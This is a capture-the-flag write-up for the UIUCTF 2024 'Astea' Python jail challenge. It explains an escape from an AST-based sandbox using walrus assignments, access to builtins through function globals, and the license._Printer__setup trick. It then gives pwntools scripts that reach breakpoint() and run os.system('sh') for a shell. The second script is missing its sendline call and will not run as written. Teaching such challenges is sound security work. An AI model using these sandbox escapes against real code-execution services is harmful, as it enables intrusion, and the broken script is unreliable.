ctf-writeups

UIUCTF 2024 Astea

import ast

def safe_import():
  print("Why do you need imports to make tea?")

def safe_call():
  print("Why do you need function calls to make tea?")

class CoolDownTea(ast.NodeTransformer):
  def visit_Call(self, node: ast.Call) -> ast.AST:
    return ast.Call(func=ast.Name(id='safe_call', ctx=ast.Load()), args=[], keywords=[])
  
  def visit_Import(self, node: ast.AST) -> ast.AST:
    return ast.Expr(value=ast.Call(func=ast.Name(id='safe_import', ctx=ast.Load()), args=[], keywords=[]))
  
  def visit_ImportFrom(self, node: ast.ImportFrom) -> ast.AST:
    return ast.Expr(value=ast.Call(func=ast.Name(id='safe_import', ctx=ast.Load()), args=[], keywords=[]))
  
  def visit_Assign(self, node: ast.Assign) -> ast.AST:
    return ast.Assign(targets=node.targets, value=ast.Constant(value=0))
  
  def visit_BinOp(self, node: ast.BinOp) -> ast.AST:
    return ast.BinOp(left=ast.Constant(0), op=node.op, right=ast.Constant(0))
  
code = input('Nothing is quite like a cup of tea in the morning: ').splitlines()[0]

cup = ast.parse(code)
cup = CoolDownTea().visit(cup)
ast.fix_missing_locations(cup)

exec(compile(cup, '', 'exec'), {'__builtins__': {}}, {'safe_import': safe_import, 'safe_call': safe_call})

Requirements:

  1. No function call: Use f"{license}" for license._Printer__setup in [function_to_call]] to call function_to_call
  2. No builtins: Use .__builtins__ of the given function to access builtins dict, or .__globals__["__builtins__"] of the given function to access builtins module
  3. No assignment: Use [a:=b] for assignment

Inspired by Pyjail Cheatsheet.

We want to call breakpoint(), so:

  1. Get builtins from safe_import: builtins = safe_import.__globals__["__builtins__"], to avoid assignment, use [builtins:=safe_import.__globals__["__builtins__"]]; alternatively, use [builtins:=safe_import.__builtins__] which is a dict instead of module
  2. Get license and breakpoint from builtins module: [...,breakpoint:=builtins.breakpoint,license:=builtins.license], or from builtins dict: [...,breakpoint:=builtins["breakpoint"],license:=builtins["license"]]
  3. Call breakpoint via license._Printer__setup: [f"{license}" for license._Printer__setup in [breakpoint]]

Attack script using builtins module safe_import.__globals__["__builtins__"]:

from pwn import *

context(log_level="debug")

p = process(["python3", "astea.py"])
p.recvuntil(b"morning:")
p.sendline(
    '[builtins:=safe_import.__globals__["__builtins__"],breakpoint:=builtins.breakpoint,license:=builtins.license,[f"{license}" for license._Printer__setup in [breakpoint]]]'.encode()
)
p.recvuntil(b"(Pdb) ")
p.sendline(b"import os")
p.sendline(b"os.system('sh')")

p.interactive()

Using builtins dict safe_import.__builtins__:

from pwn import *

context(log_level="debug")

p = process(["python3", "astea.py"])
p.recvuntil(b"morning:")
    #'[builtins:=safe_import.__globals__["__builtins__"],breakpoint:=builtins.breakpoint,license:=builtins.license,[f"{license}" for license._Printer__setup in [breakpoint]]]'.encode()
    '[builtins:=safe_import.__builtins__,breakpoint:=builtins["breakpoint"],license:=builtins["license"],[f"{license}" for license._Printer__setup in [breakpoint]]]'.encode()
)
p.recvuntil(b"(Pdb) ")
p.sendline(b"import os")
p.sendline(b"os.system('sh')")

p.interactive()

What is license._Printer__setup?

>>> type(license)
<class '_sitebuiltins._Printer'>
>>> license._Printer__setup
<bound method _Printer.__setup of Type license() to see the full license text>

It corresponds to _setup(self) function of class _Printer in _sitebuiltins.py. It is called when we convert license to str:

def __repr__(self):
    self.__setup() # <- calls license._Printer__setup
    if len(self.__lines) <= self.MAXLINES:
        return "\n".join(self.__lines)
    else:
        return "Type %s() to see the full %s text" % ((self.__name,)*2)